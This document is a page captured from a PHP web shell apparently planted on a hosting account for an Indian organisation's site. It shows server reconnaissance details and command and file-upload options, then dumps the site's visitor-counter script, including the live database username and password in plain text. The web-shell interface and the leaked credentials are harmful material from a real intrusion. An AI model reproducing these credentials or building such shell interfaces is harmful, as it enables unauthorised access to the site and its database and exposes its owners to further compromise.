|
Server IP : 2a02:4780:11:767:0:2c41:85d9:6 / Your IP : 216.73.217.91 Web Server : LiteSpeed System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64 User : u742491609 ( 742491609) PHP Version : 8.1.34 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u742491609/domains/apca.org.in/public_html/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// Database connection
$host = 'localhost';
$db = 'u742491609_apca';
$user = 'u742491609_apca';
$pass = 'L9r/cO14tt';
try {
$pdo = new PDO("mysql:host=$host;dbname=$db", $user, $pass);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// Check if a record exists for today's date
$today = date('Y-m-d');
$stmt = $pdo->prepare("SELECT * FROM visitors WHERE visit_date = :visit_date");
$stmt->execute(['visit_date' => $today]);
$record = $stmt->fetch(PDO::FETCH_ASSOC);
if ($record) {
// Update the visit count for today
$stmt = $pdo->prepare("UPDATE visitors SET visit_count = visit_count + 1 WHERE visit_date = :visit_date");
$stmt->execute(['visit_date' => $today]);
} else {
// Insert a new record for today
$stmt = $pdo->prepare("INSERT INTO visitors (visit_date, visit_count) VALUES (:visit_date, 1)");
$stmt->execute(['visit_date' => $today]);
}
// Get the total visit count (optional)
$stmt = $pdo->query("SELECT SUM(visit_count) AS total_visits FROM visitors");
$result = $stmt->fetch(PDO::FETCH_ASSOC);
echo "Total number of visitors: " . $result['total_visits'];
} catch (PDOException $e) {
echo "Connection failed: " . $e->getMessage();
}
?>